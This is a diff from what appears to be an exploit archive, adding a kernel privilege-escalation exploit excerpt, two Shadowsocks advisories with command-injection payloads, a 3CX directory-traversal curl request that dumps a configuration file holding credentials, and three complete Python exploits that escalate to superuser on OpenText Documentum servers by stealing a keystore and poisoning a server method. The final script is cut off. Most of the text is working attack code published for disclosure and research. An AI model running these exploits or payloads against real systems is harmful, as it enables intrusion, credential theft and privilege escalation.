Even if the allocation is not permanent, it will still replace the targeted content in packet_fanout (ie. the function pointers) and due to the fact that kmalloc-4096 is very stable, it is very less likely that another allocation will corrupt our payload.
id_match() will be called when sending a skb via dev_queue_xmit() which can be reached via a sendmsg on a AF_PACKET socket. It will loop through the list of packet handler calling id_match() if not NULL. Thus, we have a PC control situation.
Once we know where the code section of the kernel is, we can pivot the kernel stack into our fake packet_fanout object and ROP. The first argument ptype contains the address of the prot_hook member of our fake object, which allows us to know where to pivot.
Once into ROP, we can jump into native_write_c4(x) to disable SMEP/SMAP, and then we could think about jumping back into a userland mmaped executable payload that would call commit_creds(prepare_kernel_cred(0)) to elevate our user process privilege to root.
*/

89
platforms/linux/local/43006.txt Executable file
View file

@ -0,0 +1,89 @@
X41 D-Sec GmbH Security Advisory: X41-2017-010
Command Execution in Shadowsocks-libev
======================================
Overview
--------
Severity Rating: High
Confirmed Affected Versions: 3.1.0
Confirmed Patched Versions: N/A
Vendor: Shadowsocks
Vendor URL: https://github.com/shadowsocks/shadowsocks-libev
Vector: Local
Credit: X41 D-Sec GmbH, Niklas Abel
Status: Public
CVE: not yet assigned
Advisory-URL:
https://www.x41-dsec.de/lab/advisories/x41-2017-010-shadowsocks-libev/
Summary and Impact
------------------
Shadowsocks-libev offers local command execution per configuration file
or/and additionally, code execution per UDP request on 127.0.0.1.
The configuration file on the file system or the JSON configuration
received via UDP request is parsed and the arguments are passed to the
"add_server" function.
The function calls "construct_command_line(manager, server);" which
returns a string from the parsed configuration.
The string gets executed at line 486 "if (system(cmd) == -1) {", so if a
configuration parameter contains "||evil command&&" within the "method"
parameter, the evil command will get executed.
The ss-manager uses UDP port 8830 to get control commands on 127.0.0.1.
By default no authentication is required, although a password can be set
with the '-k' parameter.
Product Description
-------------------
Shadowsocks-libev is a lightweight secured SOCKS5 proxy for embedded
devices and low-end boxes. The ss-manager is meant to control
Shadowsocks servers for multiple users, it spawns new servers if needed.
It is a port of Shadowsocks created by @clowwindy, and maintained by
@madeye and @linusyang.
Proof of Concept
----------------
As passed configuration requests are getting executed, the following command
will create file "evil" in /tmp/ on the server:
nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||touch
/tmp/evil||"}
The code is executed through shadowsocks-libev/src/manager.c.
If the configuration file on the file system is manipulated, the code
would get executed as soon as a Shadowsocks instance is started from
ss-manage, as long as the malicious part of the configuration has not
been overwritten.
Workarounds
-----------
There is no workaround available, do not use ss-manage until a patch is
released.
About X41 D-Sec GmbH
--------------------
X41 D-Sec is a provider of application security services. We focus on
application code reviews, design review and security testing. X41 D-Sec
GmbH was founded in 2015 by Markus Vervier. We support customers in
various industries such as finance, software development and public
institutions.
Timeline
--------
2017-09-28 Issues found
2017-10-05 Vendor contacted
2017-10-09 Vendor contacted, replied to use GitHub for a full disclosure
2017-10-11 Vendor contacted, asked if the vendor is sure to want a full
disclosure
2017-10-12 Vendor contacted, replied to create a public issue on GitHub
2017-10-13 Created public issue on GitHub
2017-10-13 Advisory release

193
platforms/linux/local/43007.txt Executable file
View file

@ -0,0 +1,193 @@
X41 D-Sec GmbH Security Advisory: X41-2017-008
Multiple Vulnerabilities in Shadowsocks
=======================================
Overview
--------
Confirmed Affected Versions: Latest commit 2ab8c6b on Sep 6
Confirmed Patched Versions: N/A
Vendor: Shadowsocks
Vendor URL: https://github.com/shadowsocks/shadowsocks/tree/master
Vector: Network
Credit: X41 D-Sec GmbH, Niklas Abel
Status: Public
Advisory-URL:
https://www.x41-dsec.de/lab/advisories/x41-2017-008-shadowsocks/
Summary and Impact
------------------
Several issues have been identified, which allow attackers to manipulate
log files, execute commands and to brute force Shadowsocks with enabled
autoban.py brute force detection. Brute force detection from autoban.py
does not work with suggested tail command. The key of captured
Shadowsocks traffic can be brute forced.
Product Description
-------------------
Shadowsocks is a fast tunnel proxy that helps you bypass firewalls.
Log file manipulation
=====================
Severity Rating: Medium
Confirmed Affected Versions: Latest commit 2ab8c6b on Sep 6
Confirmed Patched Versions: N/A
Vector: Network
CVE: not yet issued
CWE: 117
CVSS Score: 4.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Summary and Impact
------------------
Log file manipulation is possible with a manipulated hostname, sent to
the server from a client, even if Shadowsocks is as quiet as possible
with "-qq".
Therefore a string like "\nI could be any log entry\n" could be sent as
hostname to Shadowsocks. The server would log an additional line with
"I could be any log entry".
Workarounds
-----------
There is no workaround available, do not trust the logfiles until a
patch is released.
Command Execution
=================
Severity Rating: Critical
Confirmed Affected Versions: Latest commit 2ab8c6b on Sep 6
Confirmed Patched Versions: N/A
Vector: Network
CVE: not yet issued
CWE: 78
CVSS Score: 9.0
CVSS Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Summary and Impact
------------------
When the brute force detection with autoban.py is enabled, remote
attackers are able to execute arbitrary commands.
Command execution is possible because of because of line 53 "os.system(cmd)"
in autoban.py, which executes "cmd = 'iptables -A INPUT -s %s -j DROP' %
ip". The "ip" parameter gets parsed from the log file, whose contents
can be controlled by a third party sending unauthenticated packets.
Proof of Concept
----------------
When, a string like "can not parse header when ||ls&:\n" is sent as host
name to Shadowsocks, it would end up in the logfile and lead to the
execution of "ls".
Autoban.py does not execute commands with spaces due to internal
sanitization. A requested hostname like:
" can not parse header when ||ls&:\ntouch /etc/evil.txt\nexit\ncan not
parse header when ||/bin/bash</var/log/shadowsocks.log&:\n" could be
used to work around this limitation. It writes the command "touch
/etc/evil.txt" into the logfile and executes it with
"/bin/bash</var/log/shadowsocks.log".
The exit; command is an important factor, without it an unbounded
recursion would occur leading to a DoS.
Workarounds
-----------
No workaround available, do not use autoban.py.
Lack of Bruteforce detection through autoban.py
===============================================
Confirmed Affected Versions: Latest commit 2ab8c6b on Sep 6
Confirmed Patched Versions: N/A
Summary and Impact
------------------
The brute force detection autoban.py does not work at all with the suggested
tail command, suggested at
https://github.com/shadowsocks/shadowsocks/wiki/Ban-Brute-Force-Crackers.
The command "python autoban.py < /var/log/shadowsocks.log" does work,
but the suggested "nohup tail -F /var/log/shadowsocks.log | python
autoban.py > log 2>log &" does not block IP's.
The "for line in sys.stdin:" from autoban.py parses the input until
there is an end of file (EOF). As "tail -F" will never pipe an EOF into
the pyhon script, the sys.stdin will block the script forever. So the
"tail -F /var/log/shodowsocks | autoban.py" will never block anything
except itself.
Workarounds
-----------
Use python "autoban.py < /var/log/shadowsocks.log" in a cronjob. Do not
use autoban.py until the command execution issue gets fixed.
Bruteforcable Shadowsocks traffic because of MD5
================================================
Confirmed Affected Versions: Latest commit 2ab8c6b on Sep 6
Confirmed Patched Versions: N/A
Summary and Impact
------------------
Shadowsocks uses no brute force prevention for it's key derivation function.
The key for Shadowsocks traffic encryption is static and derived from
the password, using MD5. The password derivation is in encrypt.py in
line 56 to 63: "
while len(b''.join(m)) < (key_len + iv_len):
md5 = hashlib.md5()
data = password
if i > 0:
data = m[i - 1] + password
md5.update(data)
m.append(md5.digest())
i += 1
"
MD5 should not be used to generate keys, since it is a hash function.
A proper key derivation function increases the costs for this operation,
which is a small burden for a user, but a big one for an attacker,
which performs this operation many more times. As passwords usually have
low-entropy, a good password derivation function has to be slow.
Workarounds
-----------
Use a secure password generated by a cryptographically secure random
generator. Wait for a patch that uses a password based key derivation
function like "Argon2" instead of a hash.
About X41 D-Sec GmbH
--------------------
X41 D-Sec is a provider of application security services. We focus on
application code reviews, design review and security testing. X41 D-Sec
GmbH was founded in 2015 by Markus Vervier. We support customers in
various industries such as finance, software development and public
institutions.
Timeline
--------
2017-09-28 Issues found
2017-10-05 Vendor contacted
2017-10-09 Vendor contacted, replied to use GitHub for a full disclosure
2017-10-11 Vendor contacted, asked if the vendor is sure to want a full
disclosure
2017-10-12 Vendor contacted, replied to create a public issue on GitHub
2017-10-13 Created public issues on GitHub
2017-10-13 Advisory release

View file

@ -1,10 +1,11 @@
source: http://www.securityfocus.com/bid/25459/info
BIND 8 is prone to a remote cache-poisoning vulnerability because of weaknesses in its random-number generator.
An attacker may leverage this issue to manipulate cache data, potentially facilitating man-in-the-middle, site-impersonation, or denial-of-service attacks.
Versions of BIND from 8.2.0 through to 8.4.7 are vulnerable to this issue.
#source: http://www.securityfocus.com/bid/25459/info
#
#BIND 8 is prone to a remote cache-poisoning vulnerability because of weaknesses in its random-number generator.
#
#An attacker may leverage this issue to manipulate cache data, potentially facilitating man-in-the-middle, site-impersonation, or denial-of-service attacks.
#
#Versions of BIND from 8.2.0 through to 8.4.7 are vulnerable to this issue.
#
# Window of guessing
# (linear impact on runtime, but also improves success rate)

101
platforms/linux/webapps/42991.txt Executable file
View file

@ -0,0 +1,101 @@
Title:
======
3CX Phone System - Authenticated Directory Traversal
Author:
=======
Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG
CVE-ID:
=======
CVE-2017-15359
Risk Information:
=================
CVSS Base Score: 6.8
CVSS Vector: CVSS3#AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Timeline:
=========
2017-08-08 Vulnerability discovered
2017-08-10 Asked for security contact
2017-08-11 Send details to the vendor
2017-09-04 Vendor has confirmed the vulnerability, will be fixed in the next release
2017-10-16 Public disclosure
Affected Products:
==================
3CX Phone System 15.5.3554.1 (Debian based installation)
Vendor Homepage:
================
https://www.3cx.com/phone-system/download-links/
Details:
========
In the 3CX Phone System 15.5.3554.1, the Management Console typically listens to port 5001 and is prone to a directory traversal attack:
"/api/RecordingList/DownloadRecord?file=" and "/api/SupportInfo?file=" are the vulnerable parameters. An attacker must be authenticated to exploit
this issue to access sensitive information to aid in subsequent attacks.
The vulnerabilities were found during a penetration test.
Proof of Concept:
=================
~$ curl -i -k --cookie ".AspNetCore.Cookies=CfDJ8PTIw(...)" https://192.168.0.1:5001/api/SupportInfo?file=/var/lib/3cxpbx/Instance1/Bin/3CXPhoneSystem.ini
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 08 Aug 2017 13:05:16 GMT
Content-Type: application/octet-stream
Transfer-Encoding: chunked
Connection: keep-alive
X-3CX-Version: 15.5.3554.1
Content-Disposition: attachment; filename="/var/lib/3cxpbx/Instance1/Bin/3CXPhoneSystem.ini"; filename*=UTF-8''%2Fvar%2Flib%2F3cxpbx%2FInstance1%2FBin%2F3CXPhoneSystem.ini
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=15768000
[General]
;connection point to call manager
;used by:
;a) call manager initializes own listener before it connects to configuration server.
;b) components which are working directly with call manager
;MUST NOT be used by components which make connection to configuration server.
;They MUST use CM_API_IP, CM_API_PORT, CM_API_USER and CM_API_PASSWORD paramaeters to make direct connection to CallManagerAPI
pbxSLNIC=127.0.0.1
cmPort=5482
pbxuser=instance_Instance158792
pbxpass=REMOVED
AppPath=/var/lib/3cxpbx/Instance1
AppDataPath=/var/lib/3cxpbx/Instance1
Tenant=Instance1
[ConfService]
;connection point to configuration server for components
confNIC=127.0.0.1
ConfPort=5485
confUser=cfguser_default
confPass=REMOVED
[CfgServerProfile]
;configuration server connection to database
;exclusively used by configuration server
DBHost=127.0.0.1
DBPort=5432
MasterDBUser=phonesystem
MasterDBPassword=REMOVED
MasterTable=phonesystem_mastertable
DefFile=Objects.cls
[QMDatabase]
DBHost=127.0.0.1
DBPort=5432
DBName=database_single
dbUser=logsreader_single
dbPassword=REMOVED
[MIME_TYPES]
MESSAGE=x-chat/control
Fix:
====
Vendor has confirmed the vulnerability, will be fixed in the next release.

View file

@ -1,10 +1,10 @@
/*
source: http://www.securityfocus.com/bid/19333/info
Applications running pswd.js are prone to an insecure password-hash weakness. This issue is due to a design flaw that results in password hashes being created in an insecure manner.
This issue allows attackers to use precomputed password hashes in brute-force attacks and authenticate themselves against the vulnerable application running the script. A successful exploit of this issue may lead to other attacks.
2. THE CODE:
*/
/*
* processes the word.lst and computes the password :

View file

@ -0,0 +1,242 @@
#!/usr/bin/env python
# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
# contains following design gap, which allows authenticated user to gain privileges
# of superuser:
#
# Content Server allows to upload content using batches (TAR archives), when unpacking
# TAR archives Content Server fails to verify contents of TAR archive which
# causes path traversal vulnerability via symlinks, because some files on Content Server
# filesystem are security-sensitive the security flaw described above leads to
# privilege escalation
#
# The PoC below demonstrates this vulnerability:
#
# MacBook-Pro:~ $ python CVE-2017-15276.py
# usage:
# OTDocumentumTarVulnerability.py host port user password
# MacBook-Pro:~ $ python CVE-2017-15276.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# Downloading /u01/documentum/cs/product/7.2/bin/dm_set_server_env.sh
# Creating malicious dmr_content object
# Trying to find any object with content...
# Downloading /u01/documentum/cs/shared/config/dfc.keystore
# Creating malicious dmr_content object
# Trying to find any object with content...
# Trying to connect to docu72dev01:10001 as dmadmin ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# P0wned!
import io
import socket
import sys
import tarfile
from dctmpy import NULL_ID
from dctmpy.docbaseclient import DocbaseClient
from dctmpy.identity import Identity
from dctmpy.obj.typedobject import TypedObject
CIPHERS = "ALL:aNULL:!eNULL"
def usage():
print "usage:\n%s host port user password" % sys.argv[0]
def main():
if len(sys.argv) != 5:
usage()
exit(1)
(session, docbase) = create_session(*sys.argv[1:5])
if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)
admin_console = session.get_by_qualification(
"dm_method where object_name='dm_JMSAdminConsole'")
env_script = admin_console['method_verb']
env_script = env_script.replace('dm_jms_admin.sh', 'dm_set_server_env.sh')
keystore_path = None
script = str(download(session, env_script, bytearray()))
if not script:
print "Unable to download dm_set_server_env.sh"
exit(1)
for l in script.splitlines():
if not l.startswith("DOCUMENTUM_SHARED"):
continue
keystore_path = l.split('=')[1]
break
if not keystore_path:
print "Unable to determine DOCUMENTUM_SHARED"
exit(1)
keystore_path += "/config/dfc.keystore"
keystore = str(download(session, keystore_path, bytearray()))
if not keystore:
print "Unable to download dfc.keystore"
exit(1)
(session, docbase) = create_session(
sys.argv[1], sys.argv[2],
session.serverconfig['r_install_owner'], "",
identity=Identity(trusted=True, keystore=keystore))
if is_super_user(session):
print "P0wned!"
def download(session, path, buf):
print "Downloading %s" % path
store = session.get_by_qualification("dm_store")
format = session.get_by_qualification("dm_format where name='crtext'")
print "Creating malicious dmr_content object"
session.apply(None, NULL_ID, "BEGIN_TRANS")
handle = session.make_pusher(store['r_object_id'])
if handle < 1:
print "Unable to create pusher"
end_tran(session, False)
exit(1)
(bytes, length) = create_tar("test", path)
b = bytearray()
b.extend(bytes.read())
print "Trying to find any object with content..."
object_id = session.query(
"SELECT FOR READ r_object_id "
"FROM dm_sysobject WHERE r_content_size>0") \
.next_record()['r_object_id']
content_id = session.next_id(0x06)
if not session.start_push(handle, content_id, format['r_object_id'], len(b)):
print "Failed to start push"
end_tran(session, False)
exit(1)
session.upload(handle, b)
data_ticket = session.end_push_v2(handle)['DATA_TICKET']
content = TypedObject(session=session)
content.set_string("OBJECT_TYPE", "dmr_content")
content.set_bool("IS_NEW_OBJECT", True)
content.set_id("storage_id", store['r_object_id'])
content.set_id("format", format['r_object_id'])
content.set_int("data_ticket", data_ticket)
content.set_int("page", 0)
content.set_string("page_modifier", "dm_batch")
content.set_string("full_format", format['name'])
content.set_int("content_size", len(b))
content.set_bool("BATCH_FLAG", True)
content.set_bool("IS_ADDRENDITION", True)
content.set_id("parent_id", object_id)
if not session.save_cont_attrs(content_id, content):
print "Failed to create content"
end_tran(session, False)
exit(1)
content = session.get_by_qualification(
"dmr_content WHERE any (parent_id='%s' "
"AND page_modifier='%s')" % (object_id, "vuln"))
handle = session.make_puller(
NULL_ID, store.object_id(), content['r_object_id'],
format.object_id(), data_ticket
)
if handle == 0:
end_tran(session, False)
raise RuntimeError("Unable make puller")
for chunk in session.download(handle):
buf.extend(chunk)
end_tran(session, False)
return buf
def create_tar(linkname, linkpath):
bytes = io.BytesIO()
tar = tarfile.TarFile(fileobj=bytes, mode="w", format=tarfile.GNU_FORMAT)
add_link(tar, linkname, linkpath)
text = io.BytesIO()
text.write("file_name='%s'\n" % linkname)
text.write("page_modifier='vuln'\n")
text.write("parameters=''\n")
tarinfo = tarfile.TarInfo("property.txt")
tarinfo.size = text.tell()
text.seek(0)
tar.addfile(tarinfo, text)
tar.close()
length = bytes.tell()
bytes.seek(0)
return (bytes, length)
def add_link(tar, linkname, linkpath):
tarinfo = tarfile.TarInfo(linkname)
tarinfo.type = tarfile.SYMTYPE
tarinfo.linkpath = linkpath
tarinfo.name = linkname
tar.addfile(tarinfo=tarinfo)
def create_session(host, port, user, pwd, identity=None):
print "Trying to connect to %s:%s as %s ..." % \
(host, port, user)
session = None
try:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity)
except socket.error, e:
if e.errno == 54:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity,
secure=True, ciphers=CIPHERS)
else:
raise e
docbase = session.docbaseconfig['object_name']
version = session.serverconfig['r_server_version']
print "Connected to %s:%s, docbase: %s, version: %s" % \
(host, port, docbase, version)
return (session, docbase)
def is_super_user(session):
user = session.get_by_qualification("dm_user WHERE user_name=USER")
if user['user_privileges'] == 16:
return True
group = session.get_by_qualification(
"dm_group where group_name='dm_superusers' "
"AND any i_all_users_names=USER")
if group is not None:
return True
return False
def end_tran(session, commit=False):
obj = TypedObject(session=session)
obj.set_bool("COMMIT", commit)
session.apply(None, NULL_ID, "END_TRANS", obj)
if __name__ == '__main__':
main()

View file

@ -0,0 +1,171 @@
#!/usr/bin/env python
# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
# does not properly validate input of PUT_FILE RPC-command which allows any
# authenticated user to hijack arbitrary file from Content Server filesystem,
# because some files on Content Server filesystem are security-sensitive
# the security flaw described above leads to privilege escalation
#
# The PoC below demonstrates this vulnerability:
#
# MacBook-Pro:~ $ python CVE-2017-15012.py
# usage:
# CVE-2017-15012.py host port user password
# MacBook-Pro:~ $ python CVE-2017-15012.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# Downloading /u01/documentum/cs/product/7.2/bin/dm_set_server_env.sh
# Trying to find any object with content...
# Downloading /u01/documentum/cs/shared/config/dfc.keystore
# Trying to find any object with content...
# Trying to connect to docu72dev01:10001 as dmadmin ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# P0wned!
#
#
import socket
import sys
from os.path import basename
from dctmpy.docbaseclient import DocbaseClient, NULL_ID
from dctmpy.identity import Identity
from dctmpy.obj.typedobject import TypedObject
CIPHERS = "ALL:aNULL:!eNULL"
def usage():
print "usage:\n\t%s host port user password" % basename(sys.argv[0])
def main():
if len(sys.argv) != 5:
usage()
exit(1)
(session, docbase) = create_session(*sys.argv[1:5])
if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)
admin_console = session.get_by_qualification(
"dm_method where object_name='dm_JMSAdminConsole'")
env_script = admin_console['method_verb']
env_script = env_script.replace('dm_jms_admin.sh', 'dm_set_server_env.sh')
keystore_path = None
script = str(download(session, env_script, bytearray()))
if not script:
print "Unable to download dm_set_server_env.sh"
exit(1)
for l in script.splitlines():
if not l.startswith("DOCUMENTUM_SHARED"):
continue
keystore_path = l.split('=')[1]
break
if not keystore_path:
print "Unable to determine DOCUMENTUM_SHARED"
exit(1)
keystore_path += "/config/dfc.keystore"
keystore = str(download(session, keystore_path, bytearray()))
if not keystore:
print "Unable to download dfc.keystore"
exit(1)
(session, docbase) = create_session(
sys.argv[1], sys.argv[2],
session.serverconfig['r_install_owner'], "",
identity=Identity(trusted=True, keystore=keystore))
if is_super_user(session):
print "P0wned!"
def download(session, path, buf):
print "Downloading %s" % path
print "Trying to find any object with content..."
object_id = session.query(
"SELECT FOR READ r_object_id "
"FROM dm_sysobject WHERE r_content_size>0") \
.next_record()['r_object_id']
session.apply(None, NULL_ID, "BEGIN_TRANS")
store = session.get_by_qualification("dm_filestore")
format = session.get_by_qualification("dm_format")
remote_path = "common=/../../../../../../../../../..%s=Directory" % path
result = session.put_file(store.object_id(), remote_path, format.object_id())
full_size = result['FULL_CONTENT_SIZE']
ticket = result['D_TICKET']
content_id = session.next_id(0x06)
obj = TypedObject(session=session)
obj.set_string("OBJECT_TYPE", "dmr_content")
obj.set_bool("IS_NEW_OBJECT", True)
obj.set_int("i_vstamp", 0)
obj.set_id("storage_id", store.object_id())
obj.set_id("format", format.object_id())
obj.set_int("data_ticket", ticket)
obj.set_id("parent_id", object_id)
if not session.save_cont_attrs(content_id, obj):
raise RuntimeError("Unable to save content object")
handle = session.make_puller(
NULL_ID, store.object_id(), content_id,
format.object_id(), ticket
)
if handle == 0:
raise RuntimeError("Unable make puller")
for chunk in session.download(handle):
buf.extend(chunk)
return buf
def create_session(host, port, user, pwd, identity=None):
print "Trying to connect to %s:%s as %s ..." % \
(host, port, user)
session = None
try:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity)
except socket.error, e:
if e.errno == 54:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity,
secure=True, ciphers=CIPHERS)
else:
raise e
docbase = session.docbaseconfig['object_name']
version = session.serverconfig['r_server_version']
print "Connected to %s:%s, docbase: %s, version: %s" % \
(host, port, docbase, version)
return (session, docbase)
def is_super_user(session):
user = session.get_by_qualification(
"dm_user WHERE user_name=USER")
if user['user_privileges'] == 16:
return True
group = session.get_by_qualification(
"dm_group where group_name='dm_superusers' "
"AND any i_all_users_names=USER")
if group is not None:
return True
return False
if __name__ == '__main__':
main()

View file

@ -0,0 +1,286 @@
#!/usr/bin/env python
# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
# contains following design gap, which allows authenticated user to gain privileges
# of superuser:
#
# Content Server stores information about uploaded files in dmr_content objects,
# which are queryable and "editable" (before release 7.2P02 any authenticated user
# was able to edit dmr_content objects, now any authenticated user may delete
# dmr_content object and them create new one with the old identifier) by
# authenticated users, this allows any authenticated user to "modify" security-sensitive
# dmr_content objects (for example, dmr_content related to dm_method objects)
# and gain superuser privileges
#
# The PoC below demonstrates this vulnerability:
#
# MacBook-Pro:~ $ python CVE-2017-15013.py
# usage:
# CVE-2017-15013.py host port user password
# MacBook-Pro:~ $ python CVE-2017-15013.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# Trying to find any dm_method object with content...
# Trying to poison docbase method dm_Migration
# Method verb: dmbasic -eMigration_Agent
# Method function: Migration_Agent
# Trying to inject new content:
# Const glabel As String = "Label"
# Const ginfo As String = "Info"
# Const gerror As String = "Error"
#
# Private Sub PrintMessage(mssg As String, mssgtype As String)
# If(mssgtype=glabel) Then
# Print "<BR><B><FONT size=3>"
# Print mssg
# print "</FONT></B>"
# ElseIf(mssgtype=ginfo) Then
# Print "<BR><FONT color=blue>"
# Print mssg
# print "</FONT>"
# ElseIf(mssgtype=gerror) Then
# Print "<BR><FONT color=red size=3>"
# Print mssg
# print "</FONT>"
# Else
# Print "<BR>" & mssg
# End If
# End Sub
# Private Sub SetupSuperUser(TargetUser As String)
# objectid$ = dmAPIGet("id,c,dm_user where user_name = '" & TargetUser & "'")
# If objectid$ <> "" then
# Status = dmAPISet("set,c," & objectid$ & ",user_privileges",16)
# Status = dmAPIExec("save,c," & objectid$)
# End If
# End Sub
#
# Sub Migration_Agent(DocbaseName As String, UserName As String, TargetUser As String)
# Dim SessionID As String
#
# SessionID= dmAPIGet("connect," & DocbaseName & "," & UserName & ",")
# If SessionID ="" Then
# Print "Fail to connect to docbase " & DocbaseName &" as user " & UserName
# DmExit(-1)
# Else
# Print "Connect to docbase " & DocbaseName &" as user " & UserName
# End If
#
# Call SetupSuperUser(TargetUser)
#
# End Sub
#
# Removing method's content
# method's content has been successfully removed
# Creating malicious dmr_content object
# Malicious dmr_content object has been successfully created
# Becoming superuser...
# P0wned!
# MacBook-Pro:~ $ python CVE-2017-15013.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# Current user is a superuser, nothing to do
#
import socket
import sys
from dctmpy import NULL_ID, RPC_APPLY_FOR_BOOL, RPC_APPLY_FOR_OBJECT
from dctmpy.docbaseclient import DocbaseClient
from dctmpy.obj.typedobject import TypedObject
CIPHERS = "ALL:aNULL:!eNULL"
def usage():
print "usage:\n%s host port user password" % sys.argv[0]
def main():
if len(sys.argv) != 5:
usage()
exit(1)
(session, docbase) = create_session(*sys.argv[1:5])
if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)
print "Trying to find any dm_method object with content..."
method_object = session.get_by_qualification(
"dm_method WHERE use_method_content=TRUE "
"and method_verb like 'dmbasic -e%'")
method_content = session.get_by_qualification(
"dmr_content where any parent_id='%s'"
% method_object['r_object_id'])
print "Trying to poison docbase method %s" % method_object['object_name']
method_verb = method_object['method_verb']
print "Method verb: %s" % method_verb
method_function = method_verb[len("dmbasic -e"):]
print "Method function: %s" % method_function
new_content = \
"Const glabel As String = \"Label\"\n" \
"Const ginfo As String = \"Info\"\n" \
"Const gerror As String = \"Error\"\n" \
"\n" \
"Private Sub PrintMessage(mssg As String, mssgtype As String)\n" \
" If(mssgtype=glabel) Then\n" \
" Print \"<BR><B><FONT size=3>\"\n" \
" Print mssg\n" \
" print \"</FONT></B>\"\n" \
" ElseIf(mssgtype=ginfo) Then\n" \
" Print \"<BR><FONT color=blue>\"\n" \
" Print mssg\n" \
" print \"</FONT>\"\n" \
" ElseIf(mssgtype=gerror) Then\n" \
" Print \"<BR><FONT color=red size=3>\"\n" \
" Print mssg\n" \
" print \"</FONT>\"\n" \
" Else\n" \
" Print \"<BR>\" & mssg\n" \
" End If\n" \
"End Sub\n" \
"Private Sub SetupSuperUser(TargetUser As String)\n" \
" objectid$ = dmAPIGet(\"id,c,dm_user where user_name = '\" & TargetUser & \"'\")\n" \
" If objectid$ <> \"\" then\n" \
" Status = dmAPISet(\"set,c,\" & objectid$ & \",user_privileges\",16)\n" \
" Status = dmAPIExec(\"save,c,\" & objectid$)\n" \
" End If\n" \
"End Sub\n" \
"\n" \
"Sub %s(DocbaseName As String, UserName As String, TargetUser As String)\n" \
" Dim SessionID As String\n" \
"\n" \
" SessionID= dmAPIGet(\"connect,\" & DocbaseName & \",\" & UserName & \",\")\n" \
" If SessionID =\"\" Then\n" \
" Print \"Fail to connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \
" DmExit(-1)\n" \
" Else\n" \
" Print \"Connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \
" End If\n" \
"\n" \
" Call SetupSuperUser(TargetUser)\n" \
"\n" \
"End Sub\n" % method_function
print "Trying to inject new content:\n%s" % new_content
session.apply(None, NULL_ID, "BEGIN_TRANS")
if method_content is not None:
print "Removing method's content"
remove = TypedObject(session=session)
remove.set_string("OBJECT_TYPE", "dmr_content")
remove.set_int("i_vstamp", method_content['i_vstamp'])
obj = session.apply(RPC_APPLY_FOR_BOOL, method_content['r_object_id'], "dmDisplayConfigExpunge", remove)
if obj != True:
print "Failed to remove method's content, exiting"
end_tran(session, False)
exit(1)
print "method's content has been successfully removed"
store = session.get_by_qualification("dm_store")
format = session.get_by_qualification("dm_format where name='crtext'")
handle = session.make_pusher(store['r_object_id'])
if handle < 1:
print "Unable to create pusher"
end_tran(session, False)
exit(1)
b = bytearray()
b.extend(new_content)
if not session.start_push(handle, method_object['i_contents_id'], format['r_object_id'], len(b)):
print "Failed to start push"
end_tran(session, False)
exit(1)
session.upload(handle, b)
data_ticket = session.end_push_v2(handle)['DATA_TICKET']
print "Creating malicious dmr_content object"
content = TypedObject(session=session)
content.set_string("OBJECT_TYPE", "dmr_content")
content.set_bool("IS_NEW_OBJECT", True)
content.set_id("storage_id", store['r_object_id'])
content.set_id("format", format['r_object_id'])
content.set_int("data_ticket", data_ticket)
content.set_id("parent_id", method_object['r_object_id'])
content.set_int("page", 0)
content.set_string("full_format", format['name'])
content.set_int("content_size", len(b))
if not session.save_cont_attrs(method_object['i_contents_id'], content):
print "Failed to create content"
end_tran(session, False)
exit(1)
print "Malicious dmr_content object has been successfully created"
end_tran(session, True)
print "Becoming superuser..."
method = TypedObject(session=session)
method.set_string("METHOD", method_object['object_name'])
method.set_string("ARGUMENTS", "%s %s %s" % (
session.docbaseconfig['object_name'],
session.serverconfig['r_install_owner'],
sys.argv[3]))
session.apply(RPC_APPLY_FOR_OBJECT, NULL_ID, "DO_METHOD", method)
r = session.query(
"SELECT user_privileges FROM dm_user "
"WHERE user_name=USER") \
.next_record()[
'user_privileges']
if r != 16:
print "Failed"
exit(1)
print "P0wned!"
def end_tran(session, commit=False):
obj = TypedObject(session=session)
obj.set_bool("COMMIT", commit)
session.apply(None, NULL_ID, "END_TRANS", obj)
def create_session(host, port, user, pwd):
print "Trying to connect to %s:%s as %s ..." % (host, port, user)
session = None
try:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd)
except socket.error, e:
if e.errno == 54:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
secure=True, ciphers=CIPHERS)
else:
raise e
